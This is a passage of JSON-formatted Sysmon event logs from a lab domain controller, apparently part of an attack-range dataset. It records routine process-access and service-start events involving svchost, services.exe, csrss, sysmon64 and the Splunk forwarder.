C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1493,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1494,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1495,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.330\r\nProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nProcessId: 2820\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.330","ProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1496,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.812\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1284\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\services.exe+12bee|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.812","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1284","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\services.exe+12bee|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1497,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.812\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.812","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1498,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.909\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.909","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1499,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.909\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.909","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1500,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.909\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.909","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1501,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.909\r\nSourceProcessGUID: 